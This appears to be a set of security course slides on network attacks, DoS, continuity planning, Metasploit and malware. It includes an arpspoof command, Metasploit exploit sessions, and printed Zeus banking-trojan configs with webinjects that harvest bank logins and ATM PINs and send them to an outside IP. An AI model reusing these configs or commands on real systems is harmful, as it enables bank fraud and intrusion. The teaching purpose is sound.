

Week 3 – Network Hacking

Network Attack

Attacks on each layer in OSI model

- Buffer Overflow
- SQL Injection
- Authentication Brute Force

- Session Hijacking
- DNS Poisoning

- Ping Flood
- Port scanning
- Fingerprinting

Keystroke Logging
Lockpicking
Cutting Cable

OSI Model

Application

Presentation

Session

Transport

Network

Data Link

Physical

- SSL DoS
- SSL MITM

- TCP Flooding
- UDP Flooding

- Packet sniffing
- MAC Address Spoofing
- VLAN Attack
- ARP Cache Poisoning

Security Issues in TCP/IP

Fundamental Design

- Communications are based on ports
- open and self discipline
- not for commercial uses

Software flaws

Insecure Operating Systems

Poor configurations

Security Issues in TCP/IP

Plaintext protocol – Sniffing

Weak integrity – Injection, Poisoning

Connection-less – Spoofing

Weak authentication – Masquerading

Weak sessions – Hijacking, Spoofing, DoS, Man-in-the-middle

Weak routing – Source Routing, Re-routing

Weak Quality of Service – DoS

Non-standard implementation – fingerprinting

Software flaw

Buffer Overflow

Out-of-Band data

bugs and vulnerabilities in the protocol stack

bugs in the browser and server

Software flaw can usually be fixed but can never be eliminated.

Flooding & Spoofing

Simple Spoofing (Non-blind)

IP-spoofing is the act of forging IP packets

- Non-blind spoofing (NBS) interferes a connection that sends packets along the spoofer's subnet (so typically the spoofer is on the same subnet as one of the 2 hosts being spoofed)
- Blind spoofing interferes with a connection that does not send packets that the spoofer can sniff off. It is more difficult.

Spoofing may lead to connection being "*hijacked*".

ARP Spoofing

Use arpspoof utility to ARP spoof the gateway of network

Poison a hosts ARP cache by setting the gateway's MAC address to broadcast address

Arpspoof -t x.x.x.x gateway.ip

ARP Spoofing

Attacker mimics the ARP entry of the target host

E.g. the target host's physical address:

```
Ethernet adapter VMware Network Adapter VMnet8:  
  
  Connection-specific DNS Suffix . . . :  
  Description . . . . . : VMware Virtual Ethernet Adapter for  
VMnet8  
  Physical Address . . . . . : 00-50-56-C0-00-08  
  Dhcp Enabled. . . . . : No  
  IP Address . . . . . : 192.168.230.1  
  Subnet Mask . . . . . : 255.255.255.0  
  Default Gateway . . . . . :
```

ARP Spoofing: Sending spoof packets

[root@vm_rh9 root]# arpspoof 192.168.230.1
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:
25:16:e0
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:
25:16:e0
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:
25:16:e0
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:
25:16:e0
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:
25:16:e0
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:
25:16:e0
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:
25:16:e0
0:c:50:56:c0:0:8 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:50:
56:c0:0:8
0:c:50:56:c0:0:8 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:50:
56:c0:0:8
0:c:50:56:c0:0:8 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:50:
56:c0:0:8
[root@vm_rh9 root]# _


ARP Spoofing: Victim

The screenshot shows a terminal window titled "Redhat 6.2" running on VMware Workstation. The terminal displays several commands and their outputs:

```
arp  
--- 192.168.230.1 ping statistics ---  
1 packets transmitted, 1 packets received, 0% packet loss  
round-trip min/avg/max = 3.4/3.4/3.4 ms  
[root@hp_linux /root]# arp -a  
? (192.168.230.1) at 00:50:56:00:00:08 [ether] on eth0  
? (192.168.230.2) at 00:50:56:EA:FA:B7 [ether] on eth0  
[root@hp_linux /root]# arp -d  
arp: need host name  
[root@hp_linux /root]# ping 192.168.230.1  
PING 192.168.230.1 (192.168.230.1) from 192.168.230.132 : 56(84) bytes of data.  
  
--- 192.168.230.1 ping statistics ---  
1 packets transmitted, 0 packets received, 100% packet loss  
[root@hp_linux /root]# arp -d  
arp: need host name  
[root@hp_linux /root]# ping 192.168.230.1  
PING 192.168.230.1 (192.168.230.1) from 192.168.230.132 : 56(84) bytes of data.  
  
--- 192.168.230.1 ping statistics ---  
1 packets transmitted, 0 packets received, 100% packet loss  
[root@hp_linux /root]# arp -a  
? (192.168.230.1) at 00:0C:29:25:16:E0 [ether] on eth0  
? (192.168.230.2) at 00:50:56:EA:FA:B7 [ether] on eth0  
[root@hp_linux /root]# _
```

An orange speech bubble points to the second set of ARP table entries, asking "Do you see the diff.?".

ARP Spoofing Autopsy



Denial of Services Attack

What is Denial of Services Attack


In computing, a denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a machine or network resource unavailable to its intended users

Denial of Services


Syn Flooding (e.g. synflood.c)

- A **TCP connection request** (SYN) is sent to the target computer
- The source IP address in the packet is "spoofed" or replaced with an address that is not in use on the Internet, or that belongs to another computer
- An attacker will send many of these **TCP SYNs to tie up as many resources** as possible on the target computer


Denial of Services (Cont.)



Denial of Services (Cont.)



From DoS to DDoS Attacks



Business Continuity Planning and Disaster Recovery Planning

Business Continuity Management Overview

Definition (ISO 27031):

- Business continuity management (BCM) – holistic management process that **identifies** potential threats to an organization and the **impacts** to business operations whose threats, if realized, might cause, and which provides a framework for building organizational resilience with the capability for an **effective response that safeguards** the interests of its key stakeholders, reputation, brand and value-creating activities
- Business continuity plan (BCP) – documented procedures that guide organizations to respond, recover, resume, and restore to a pre-defined level of operation following disruption

Disaster Recovery Plan


Definition (ISO 27031)

- ICT disaster recovery (Disaster Recovery or DR) – ability of the ICT elements of an organization to support its critical business functions to an acceptable level within a predetermined period of time following a disruption
- ICT disaster recovery plan (ICT DRP or DRP) – clearly defined and documented plan which recovers ICT capabilities when a disruption occurs


Some more key terms

Definitions (ISO 27031)

- minimum business continuity objective (MBCO) – minimum level of services and/or products that is acceptable to the organization to achieve its business objectives during a disruption
- recovery point objective (RPO) – point in time to which data must be recovered after a disruption has occurred
- recovery time objective (RTO) – period of time within which minimum levels of services and/or products and the supporting systems, applications, or functions must be recovered after a disruption has occurred



Business continuity framework from ISO 27031



Note: ICT = Information communication and technology = IT

Business Continuity Planning Overview

1. Business Impact Analysis

- What is BIA ?
- Objectives of BIA
- Techniques

2. Strategy Formulation

- Results of BIA
- Risk Against Probability

Business Continuity Planning Overview (Cont.)

3. Plan Develop

- Contents of the Plan

4. Plan Implementation and Testing

- Implementation Barriers
- Why Testing ?
- What Kinds of Testing ?

5. Maintenance

- Why BCP Maintenance ?
- Revision Focus

Exploitations

Exploits and Metasploits

The image displays two main components: the Exploit Database website on the left and a terminal window showing Metasploit commands on the right.

Exploit Database Website:

- Header:** EXPLOIT DATABASE
- Navigation:** HOME, GHDB, ABOUT, REMOTE, LOCAL, WEB, DOS, SHELLCODE
- Motivational Text:** Do you want to be a Professional?
- Section:** The Exploit Database
- Description:** The Exploit Database (EDB) - an ultimate archive of exploits and penetration testers, vulnerability researchers, and security addicts
- Table:** Remote Exploits (partial data shown)

Date	D	A	V	Description
2014-06-01	down	-	green checkmark	Easy File Management Web Server v5.3 - UserID Remote Buffer
2014-05-30	down	-	green checkmark	ElasticSearch Dynamic Script Arbitrary Java Execution
2014-05-28	down	green checkmark	green checkmark	TORQUE Resource Manager 2.5.x-2.5.13 - Stack Based Buffer O
2014-05-27	down	green checkmark	green checkmark	Easy File Sharing FTP Server 3.5 - Stack Buffer Overflow
2014-05-26	down	-	green checkmark	Symantec Workspace Streaming Arbitrary File Upload
2014-05-21	down	green checkmark	green checkmark	Easy File Management Web Server 5.3 - Stack Buffer Overflow
2014-05-21	down	green checkmark	green checkmark	Easy Address Book Web Server 1.6 -Stack Buffer Overflow

Terminal Window (root@kali-vm: ~):

```
msf > show
show all      show encoders   show nops    show payloads   show post
show auxiliary show exploits   show options  show plugins
msf > show exploits
```

Exploits

Name	Disclosure Date	Rank	Description
aix/local/ibstat_path	2013-09-24	excellent	ibstat #PATH Pr
ivilege Escalation			
aix/rpc_cmsd_opcode21	2009-10-07	great	AIX Calendar Ma
nager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow			
aix/rpc_ttdbserver_realpath	2009-06-17	great	ToolTalk rpc.tt
dbserverd_tt_internal_realpath Buffer Overflow (AIX)			
android/browser/samsung_knox_smdm_url	2014-11-12	excellent	Samsung Galaxy
KNOX Android Browser RCE			
android/browser/webview_addjavasciptinterface	2012-12-21	excellent	Android Browser
and WebView addJavascriptInterface Code Execution			
android/fileformat/adobe_reader_pdf_js_interface	2014-04-13	good	Adobe Reader fo
r Android addJavascriptInterface Exploit			
android/local/futex_requeue	2014-05-03	excellent	Android 'Towelr
oot' Futex Requeue Kernel Exploit			
apple/ios/browser/safari/libtiff	2006-08-01	good	Apple iOS Mobil
eSafari LibTIFF Buffer Overflow			
apple/ios/email/mobilemail/libtiff	2006-08-01	good	Apple iOS Mobil
eMail LibTIFF Buffer Overflow			
apple/ios/ssh/cydia/default_ssh	2007-07-02	excellent	Apple iOS Defau
lt SSH Password Vulnerability			
bsdi/softcart/mercantecc_softcart CGI Overflow	2004-08-19	great	Mercantecc SoftC
dialup/multi/login/manyargs	2001-12-12	good	System V Derive
d /bin/login Extraneous Arguments Buffer Overflow			
firefox/local/exec shellcode	2014-03-10	normal	Firefox Exec Sh
ellcode from Privileged Javascript Shell			
freebsd/ftp/proftpd_telnet_iac	2010-11-01	great	ProFTPD 1.3.2rc
3 - 1.3.3b Telnet IAC Overflow (FreeBSD)	2013-06-18	great	FreeBSD 9 Addre
freebsd/local/mmap			
ss Space Manipulation Privilege Escalation	2014-09-22	normal	Citrix NetScale
freebsd/misc/citrix_netscaler_soap_bof			
r SOAP Handler Remote Code Execution	2003-04-07	great	Samba transZope
freebsd/samba/trans2open			
n Overflow (#BSD x86)	2008-01-08	average	XTACACSD report
freebsd/tacacs/xpacacd_report			
) Buffer Overflow	2011-12-23	great	FreeBSD Telnet
freebsd/ftp/telnet/telnet_encrypt_keyid			
n Service Encryption Key ID Buffer Overflow	2002-08-28	excellent	HP-UX LPD Comma
hpx/ldap/cleanup_exec			

Exploits and Vulnerability Database

<https://www.exploit-db.com>

<https://github.com/offensive-security/exploit-database> (SearchSploit for Exploit-db.com)

<http://www.securityfocus.com> (Bugtraq ID)

<http://packetstormsecurity.com>

<http://www.cvedetails.com> (CVE)

<https://cve.mitre.org/cve/index.html> (CVE)

<http://www.rapid7.com/db/vulnerabilities> (from Rapid 7)

<http://www.rapid7.com/db/modules> (Modules for Metasploit)

<http://www.tenable.com/pvs-plugins> (Tenable Nessus)

Exploits (Recent cases)

Internet Explorer vulnerabilities

StageFright

Thunderstrike 2





**“Thunderstrike 2” rootkit uses Thunderbolt accessories to infect Mac firmware
[Updated]**

Problems remain, but Macs running 10.10.4 and up aren't "trivially vulnerable."

by Andrew Cunningham - Aug 6, 2015 3:51am CST

[Share](#) [Tweet](#) 45



Credit: CSO staff

The patch fixes a security hole that lets an attacker run malicious code remotely



By Blair Hanley Frank [FOLLOW](#)
IDG News Service | Aug 18, 2015 3:36 PM PT

Metasploit

```
msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index  
msf exploit(ms09_050_smb2_negotiate_func_index) > help  
...snip...
```

Exploit Commands

```
=====
```

Command	Description
check	Check to see if a target is vulnerable
exploit	Launch an exploit attempt
rcheck	Reloads the module and checks if the target is vulnerable
rexploit	Reloads the module and launches an exploit attempt

```
msf exploit(ms09_050_smb2_negotiate_func_index) >
```

```
msf exploit(ms09_050_smb2_negotiate_func_index) > show targets
```

Exploit targets:

Id	Name
0	Windows Vista SP1/SP2 and Server 2008 (x86)

```
msf exploit(ms09_050_smb2_negotiate_func_index) > show payloads
```

Compatible Payloads

```
=====
```

Name

generic/custom
generic/debug_trap
generic/shell_bind_tcp
generic/shell_reverse_tcp
generic/tight_loop
windows/adduser
...snip...

```
msf exploit(ms09_050_smb2_negotiate_func_index) > show options
```

Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):

Name	Current Setting	Required	Description
RHOST		yes	The target address
RPORT	445	yes	The target port
WAIT	180	yes	The number of seconds to wait for the attack to complete.

Exploit target:

Id	Name
0	Windows Vista SP1/SP2 and Server 2008 (x86)


Metasploit

→ Penetration Testing : Crash Windows 7 Using Metasploit and Remote Desktop Connection Vulnerability



Posted: July 24, 2014 in Uncategorized

Crashing Windows 7



<https://informationtreasure.wordpress.com/2014/07/24/penetration-testing-crash-windows-7-using-metasploit-and-remote-desktop-connection-vulnerability/>

DNS

DNS Attacks

- DNS Spoofing
- DNS Response Flooding
- DNS ID hacking
- DNS cache poisoning
- Information Leakage
- DNS Server Exploitation

Malicious Code, Virus Attack and Program Code




Top 10 Virus (Aug 2011)


The image displays three windows side-by-side:

- McAfee Security World Virus Map - Viruses by Continent - Mozilla Firefox**: A list titled "Asia - Past 30 days" showing the top 10 viruses. The list includes:
 1. JS/Exploit-BO
 2. Exploit-PDF.q.gen!stream
 3. Generic.dx
 4. Generic!atr
 5. W32/Conficker.worm!inf
 6. Artemis!4B15346DD4DA
 7. Artemis!46178973FF0A
 8. Generic.dx!wmm
 9. Suspicious IFrame.d
 10. Adware-OpenCandy.dllA red box highlights the IP address 216.49.90.122 at the bottom.
- InfoBar**: A screenshot of the Norton Security Response Threat Explorer interface. It shows a sidebar with categories like "Vulnerabilities", "Spyware", "Spam", etc., and a main pane with "Latest Risks".
- VirusTotal - Free Online Virus, Malware and URL Scanner - Mozilla Firefox**: A screenshot of the VirusTotal website. It features a bar chart titled "Top10 detections (Yesterday)" showing the most popular detections. The chart includes entries like "HTMLShellface-0" and "JS_CLICKER-MAB". Below the chart is a table of detected files with their names, types, and detection dates.


Document related Exploits



OS, Browser, Apps vulnerability (Oct 2012)



Content of Spamming message (Oct 2012)



Malicious Code and Virus Attack

Outline

Types of Virus

- What is Virus ?
- Types of Virus ?

Sources of Virus

- Indications of an Infection

Defending Strategies

- Technical Mechanisms
- Managerial Mechanisms

System Patching

Virus Characteristics

a computer virus is a computer program

- Parasitism
- Replication
- Concealment
- Payload
- Polymorphism
- Stealth

Virus – a brief history

Don't know exactly when it starts

1971: Creeper worm on DEC PDP-10

1983: vd on VAX 11/750, Fred Cohen, Len Adleman

1980s: Real viruses were initiated by in Apple II

1986: BRAIN, an early PC.com infector

1988: Morris Worm, a UNIX internet worm

1990: Polymorphs – Whale, with 30 different forms

1990: Multiparites – Flip/Omicron from Bulgaria

1995: MS Office Macro Viruses, the Wm.Concept

1998: CIH, on its trigger date, rewrite the BIOS

1999: Melissa and Happy99, self mailed

2000: I Love YOU, the vb virus

Types of Virus

Types of Virus

- Boot Virus
 - It replaces the boot record program (which is responsible for loading the OS in memory) copying it elsewhere on the disk or overwriting it. Boot viruses load into memory if the computer tries to read the disk while it is booting
- Program Virus
 - These infect executable program files, such as those with extensions like .BIN, .COM, .EXE, .OVL, .DRV (driver) and .SYS (device driver). These programs are loaded in memory during execution, taking the virus with them. The virus becomes active in memory, making copies of itself and infecting files on disk.

Types of Virus

Types of Virus

- Multipartite Virus
 - A hybrid of Boot and Program viruses. They infect program files and when the infected program is executed, these viruses infect the boot record. When you boot the computer next time the virus from the boot record loads in memory and then starts infecting other program files on disk.

Types of Virus

Types of Virus

- Stealth Virus
 - These viruses use certain techniques to avoid detection. They may either redirect the disk head to read another sector instead of the one in which they reside or they may alter the reading of the infected file's size shown in the directory listing.
- Polymorphic Virus
 - A virus that can encrypt its code in different ways so that it appears differently in each infection. These viruses are more difficult to detect.

Types of Virus

Types of Virus

- Macro Virus
 - A macro virus is a new type of computer virus that infects the macros within a document or template. When you open a word processing or spreadsheet document, the macro virus is activated and it infects the Normal template (Normal.dot)-a general purpose file that stores default document formatting settings. Every document you open refers to the Normal template, and hence gets infected with the macro virus. Since this virus attaches itself to documents, the infection can spread if such documents are opened on other computers.

Types of Virus

Types of Virus

- Active X / Javascript / Java Applet
 - ActiveX and Java controls will soon be the scourge of computing. Most people do not know how to control their web browser to enable or disable the various functions like playing sound or video and so, by default, leave a nice big hole in the security by allowing applets free run into their machine. There has been a lot of commotion behind this and with the amount of power that JAVA imparts, things from the security angle seem a bit gloom.

Worms

A “self-reproducing” program that is often distinguished from a virus in that it copies itself without being attached to a program file, or by spreading actively over computer networks, particularly via email

Usually it is a program that replicate itself without the use of a host

It can hide inside other files, it will release another document that already has the worm inside that file

Trojan Horse

A trojan horse is:

- unauthorized code contained within a legitimate program
- performs functions unknown to the user
- a legitimate program that has been altered by the placement of unauthorized code within it
- It does not replicate itself unless it is invited by the user and could cause loss or theft of information

Trojan Horse

This is not necessarily a virus, but simply a program (often harmful) that pretends to be something else:

- A program that pretends to be a windows logon interface
- A program that pretends to be “su”
- A program that pretends to be telnet
- All of the above try to get your passwords
- Similar Trojan horses exist for telephone systems, too. Trying to get your phone cards PIN numbers.

Virus Attacking Example

LoveLetter Virus

- Macros virus (VBS / Visual Basic Scripting)
- Infect Windows Scripting Host (WSH) installed machine & Outlook
- Send through email
 - Overwrite .jpg .mp3 and other file types
 - Attempt to send a copy of itself to everyone in the recipient's address book
- Attachment : LOVE-LETTER-FOR-YOU.TXT.VBS

Other Malicious Codes


Code Red

- Worms
- Attack IIS .ida buffer overflow vulnerabilities
- A special string in the HTTP request will expose the vulnerability

Nimda

- Hybrid (Worms + Email Virus)
- Email, Web pages, File Systems infection
- Can the name and copy of itself to the systems files (trojan horse)

Other Malicious Codes



Other Malicious Codes

Bugbear

- A lot of variants
- Mass-emailing worm as an attachment
- Email itself to the recipient on the address book
- Build in key getLogger and back door listen to TCP 1080
- Attempt to terminate security software process (e.g. antivirus, firewall)
- Copy itself to the local machine file systems (especially those shared files)
- Some variants has its own email engine
- Some variants spams print jobs

Other Malicious Codes

SQL Slammer worms

- Target on Microsoft SQL 2000
- Exploit the buffer overflow vulnerabilities
- UPD 1434
- Take over the machine and resident in the memory only
- Scan for other hosts

Bank Fraud

隐藏地利用假的网上银行骗你的帐号和密码！ - 淘宝网店指南 - 淘宝网网上开店指南 - Mozilla Firefox

File Edit View History Bookmarks Yahoo! Tools Help

http://www.loveyd.com/sppj/200906/0416935.html computer usage policy

Most Visited Welcome to Gmail Yahoo! Mail - The be... Department of Comp... CityU WebMail 2.0 Microsoft Outlook W... OSVDB: The Open S... >

Proxy: None ✓ Apply Status: Using None Manage Proxies Preferences Proxy: None ✓ Apply Edit Remove Add Status

char... New Ba... Banking Tr... Finjan Whi... Finjan - Cy... "購物網站" 识破骗局 - 网购诈骗 今天收到... 隐藏...

>赢得社区，诚聘版主！！>网店冷冷清清,守得好辛苦>心声:做个淘宝不容易啊>小小我的，大大的梦想！>怎么样才能用上淘宝助理>铜币有多少？铜币大PK>新手报个到 支持论坛>卖家：每天守网店累死！>牵着女儿的手走自己的路

2008年7月15日，一个网络骗子发给我一个邮件标题为“有一个交易等待您处理~”发件人是gd95599。邮件里的内容如下：

 中国农业银行
AGRICULTURAL BANK OF CHINA

 该交易来自银联
UnionPay 中国银联
China Unionpay

亲爱的农行用户，(6228480081083047019)您的客户向此账户创建了一个银联在线跨行汇款业务，但您尚未开通此账户的跨行汇兑业务验证，因此无法完成跨行收款！如果您想开通此项业务请从此进入：[注册农行银联在线跨行汇兑业务](#)

验证开通后款项即时到账，以下是该客户的汇款事项和联系方式。如果你还不打算开通此业务，汇款方的款项将在48小时原路退回！

交易号：200807141699672
商品名称：(100%好评)特价1.2L吉之雅电热水壶
交易对方：方虞/15078831506 (zhifubaoaa@126.com)
交易状态：~等待确认
商品单价：54.00元

Done Profile1 203.218.195.22 Proxy: None none

COPYRIGHT © RICCI LEONG FOR UST TRAINING 2015 56

Banking Botnet trojan

Security

LANs & WANs

VoIP

Infrastructure Mgmt

Wireless

Software

Data Center

SMB

Careers

Toolshed

Communities ▾

Anti-Malware | Compliance & Regulation | Cybercrime | Desktop Firewall / Host IPS | Enterprise Firewall / UTM | IDS / IPS | NAC | Security Management | White Papers | Webcasts

Botnet-controlled Trojan robbing online bank customers

Security firm says malware targeting commercial customers believed to have come from Russia

By [Ellen Messmer](#), Network World , 12/13/2007

 Share/Email

 Tweet This

 2 Comments

 Print

 Newsletter Sign-Up

A new variant on the "Prg Banking Trojan" malware discovered in June is stealing funds from commercial accounts in the United States, United Kingdom, Spain and Italy with a botnet called Zbot, says Atlanta-based [SecureWorks](#).

"It's been very successful since we've first seen this at the end of November," says Don Jackson, senior security researcher at SecureWorks, which believes the Prg Trojan variant is designed by the Russian hackers group known as Russian UpLevel working with some German affiliates.

"The Trojan has the ability to use a man-in-the-middle attack, a kind of shoulder-surfing when someone logs into a bank account. It can inject a request for a Social Security number or other information, and it's very dynamic. It's targeted for each specific bank."

SecureWorks says about a dozen banks -- which it wouldn't identify because it says the U.S.

White Paper

Server Refresh: Making Good Business Sense: Download now



Refine your Google search

Your search on **"bank trojan"** also yielded these NetworkWorld results.

• **Nasty banking Trojan makes mules of victims**

A sophisticated Trojan horse program designed to empty bank accounts has a new trick up its sleeve: It lies to investigators...

October 6, 2009

• **Do phishers have more poles in the water?**

Are phishing attacks going up or down? The answer depends on who you ask.

September 28, 2009

• **The Internet is now like the Wild West: IBM consultant**

"The Internet has finally taken on the characteristics of the Wild West where no one is to be trusted," said Sukhdev...

September 10, 2009

• **Researcher reveals massive 'professional thieving' botnet**

A nasty piece of malware that's infected up to a million PCs is stealing financial information from consumers and businesses...

July 29, 2009

Zeus and other Bank malware

The screenshot shows a dual-monitor setup. The left monitor displays a Mozilla Firefox window with the title "Banking Trojan steals money from under your nose | InSecurity Complex - CNET News - Mozilla Firefox". The page content discusses the Finjan banking trojan. The right monitor also displays a Mozilla Firefox window with the title "Facebook scam email tries to spread Zeus bank trojan - SC Magazine US - Mozilla Firefox". This page discusses the Zeus bank trojan spreading via Facebook. Both pages show standard news layout with text, images, and links to related articles.


What is Zeus

Symantec named that as “King of the Underground Crimeware toolkits”

Crimeware Kit

- Available for a price of \$3,500 or \$150
- Includes bot and command & controls (C&C)
- Bot-propagation methods NOT included
- Over 1000 detected ZeuS hosts, 1000 URLs with ZeuS.
- Signature base Anti-virus CANNOT detect all ZeuS

Financial Malware Distribution



* <http://www.warezscene.org/old-marketplace/614216-zeuesta-exploit-pack-v5-0-a.html>

* Statistics from Trusteer

How Zeus works?

ZeuS :: Bots

Information:
Profile: GMT date: GMT time:
Statistics:
Summary
Botnet:
→ Online bots Remote commands
Logs:
Search Search with template Uploaded files
Logout

ZeuS :: Logs search

Information:
Profile: GMT date: GMT time:
Statistics:
Summary
Botnet:
Online bots Remote commands
Logs:
→ Search Search with template Uploaded files
Logout

Filter

Countries:	CompID's:
Botnets:	IP's:

Type: Outside NAT [▼] Apply

Outside NAT
Inside NAT
Any

Result:

#	CompID	Ver/Botnet	IP	Country	Socks	Proxy	Screenshot	Online time	Lag
Empty									

Search filter

From date (dd.mm) --.-- to date --.--

Countries:	CompID's:
Botnets:	IP's:

Query:

Log type: Any [▼]

- Case HTTP
- Exclu HTTPS
- Don't HTTP/HTTPS
- FTP
- POP3

Output: Normal [▼]

(slow)

Reset Grabbed data Protected Storage IE history Other

Search

Zeus configuration files

```
end

entry "webFilters"
  "@https://*.e-gold.com/*"
end

entry "webDataFilters"
  :"http://mail.rambler.ru/*" "passw;login"
end

entry "webFakes"
;US
  "https://sitekey.bankofamerica.com/sas/signon.do" "http://203.223.159.94/pop/fk/us/bofa.php"
  "https://chaseonline.chase.com/siteminderagent/forms/formpost.fcc" "http://203.223.159.94/pop/fk/us/chase.php"

;UK
  "https://ibank.barclays.co.uk/olb/s/LoginMember.dg" "http://203.223.159.94/pop/fk/uk/barclays.co"
  "https://home.cbonline.co.uk/login.html?message=*" "http://203.223.159.94/pop/fk/uk/cbonline.ph"
  "https://home.ybonline.co.uk/login.html?message=*" "http://203.223.159.94/pop/fk/uk/ybonline.ph"
  "https://ibank.cahoot.com/servlet/com.aquarius.security.authentication.servlet.LogonServlet" "http://203.223.159.94/pop/fk/uk/cahoot.php"
  "https://www.halifax-online.co.uk/CustomerAuthentication/HxProcessLogin.aspx" "http://203.223.159.94/pop/fk/uk/halifax.php"
  "https://www.ebank.hsbc.co.uk/servlet/com.hsbc.ib.app.pib.logon.servlet.OnBrochurewareLogonServlet" "http://203.223.159.94/pop/fk/uk/hsbc.php"
  "https://online-business.lloydstsb.co.uk/logon.ibc" "http://203.223.159.94/pop/fk/uk/lloydstsb_b"
  "https://online-offshore.lloydstsb.com/logon.ibc" "http://203.223.159.94/pop/fk/uk/lloydstsb_o"
  "https://online.lloydstsb.co.uk/logon.ibc" "http://203.223.159.94/pop/fk/uk/lloydstsb_p"

;ES
  "https://www.bancajaproximaempresas.com/ControlEmpresas" "http://203.223.159.94/pop/fk/Es/bancaja_e.p"
  "https://www.bancaja.*/ControlParticulares" "http://203.223.159.94/pop/fk/Es/bancaja_p.p"
  "https://www.gruposantander.es/bog/sbi" "http://203.223.159.94/pop/fk/Es/gruposantan"
  "https://www.unicaja.es/Portalservlet?pag=1110902071492*" "http://203.223.159.94/pop/fk/Es/unicaja.php"
  "https://extranet.banesto.es/npage/loginParticulares.htm" "http://203.223.159.94/pop/fk/Es/banesto_p.p"
  "https://www.bancopopular.es/AppBPE/servlet/servin?p_pm=bo&p_pf=c&p_id=esp" "http://203.223.159.94/pop/fk/Es/bancopopula"

entry "TANGrabber"
  "https://banking.*.de/cgi/ueberweisung.cgi/*" "S3R1C6" "*&tid=*" "*&betrags=*" "http://203.223.159.94/pop/fk/DE/banking_uweberweisung.cgi"
  "https://internetbanking.gad.de/banking/*" "S3C6" "*" "*" "KktNrTaneinz" "http://203.223.159.94/pop/fk/DE/internetbanking_gad_de"
  "https://cipehb*.cdg.citibank.de/HomeBanking?_D=WorkArea&*" "S3C6R1" "*DT" "*" "I2" "http://203.223.159.94/pop/fk/DE/cipehb_cdg_citibank_de"
  "https://www.vr-networld-ebanking.de/ebanking>Action=*" "S3C6" "*" "*" "Schmetterling" "http://203.223.159.94/pop/fk/DE/vr_networld_ebanking_de"
  "https://finanzportal.fiducia.de/ebankingAction=*" "S3C6" "*" "*" "Schmetterling" "http://203.223.159.94/pop/fk/DE/finanzportal_fiducia_de"
  "https://finanzportal.fiducia.de/ebbq2/portal?token=*" "S3C6" "*decBetrag=*" "*" "value_*" "http://203.223.159.94/pop/fk/DE/finanzportal_fiducia_de"
  "https://onlinebanking.norisbank.de/norisbank/*,do?method=*" "S3C6" "*" "*" "tan" "http://203.223.159.94/pop/fk/DE/onlinebanking_norisbank_de"
  "https://www.dresdner-privat.de/servlet/*" "S3C6" "*CMD=stapelFreigeben&*" "*" "http://203.223.159.94/pop/fk/DE/www_dresdner_privat_de"
  "https://brokerage.comdirect.de/servlet/*TAN*" "S3C6" "*transactionID=*" "*" "http://203.223.159.94/pop/fk/DE/brokerage_comdirect_de"
```

Zeus configuration files

```
set_url https://www.e-gold.com/acct/balance.asp* GPL
data_before
<form name=flat*></form>
data_end
data_inject
data_end
data_after
<th colspan=4 align=left valign="bottom"
data_end

set_url https://online.wellsfargo.com/das/cgi-bin/session.cgi* GL
data_before
<div id="pageIntro" class="noprint">
data_end
data_inject
data_end
data_after
<td id="sidebar" align="left" valign="top" class="noprint">
data_end

set_url https://www.wellsfargo.com/* G
data_before
<span class="mozcloak"><input type="password"></span>
data_end
data_inject
<br><strong><label for="atmpin">ATM PIN</label></strong>&nbsp;<br />
<span class="mozcloak"><input type="password" accesskey="A" id="atmpin" name="uspass" size="13" maxlength="14" style="width:147px" tabindex="2" /></span>
data_end
data_after
data_end

set_url https://online.wellsfargo.com/login* GP
data_before
<input type="password" name="password"></td>
data_end
data_inject
<td width="225"><label for="password" class="formlabel">3. ATM PIN</label><br />
<input type="password" name="uspass" id="atmpin" size="20" maxlength="14" title="Enter ATM PIN" tabindex="11" accesskey="A"/>
<br />&nbsp;</td>
data_end
data_after
data_end
data_before
<label for="account" class="formlabel">
data_end
data_inject
4. Sign on to
data_end
data_after
```

So how Zeus works?

The configuration file generate the bots

The malware: Zbot

- Steal data entered into browser form fields (through WinAPI of wininet.dll to intercept)
- Can ex-filtrate stolen data for criminal use in real-time

What Zbot can do?

Configure and change

- proxy server settings
- local DNS settings

Using the polymorphic encrypter to generate different copies of itself.

Capturing

- certificates.
- screenshots of the affected computers.
- passwords from programs
- Data content from any form

Intercepts virtual keyboard

Removing cookies to get the user to re-enter the passwords.

Perform remote control commands.

Block users from accessing some web sites

Adding additional fields to a website and monitor the data sent

Compromise 2-factors authentication scheme

Where are Zeus botnet?

The screenshot shows two instances of Mozilla Firefox displaying the abuse.ch Zeus Tracker website. The left window shows the main 'Zeus Tracker :: monitor' page, which includes a search bar and a table of Zeus hosts. The right window shows a detailed view of the host table with columns for host, dateadded (UTC), Level, status, files online, A record, SBL, country, and AS number. Both windows have search bars at the bottom.

host	dateadded (UTC)	Level	status	files online	A record	SBL	country	AS number
baycreekhosting.com	2009-11-16 17:21:39	2	online	0	70.87.94.162	Not listed	USA	21844
suoerdeuer44.com	2009-11-16 10:37:57	4	online	2	80.91.191.156	Not listed	DE	21219
cryaboutmeasure.su	2009-11-16 09:22:04	4	online	3	61.156.242.119	Not listed	CHN	4837
taipeifubonban.info	2009-11-15 17:07:39	4	online	1	66.118.146.84	Not listed	USA	21840
avvisualandscaping.com	2009-11-15 15:20:36	4	online	0	67.220.197.3	Not listed	USA	18450
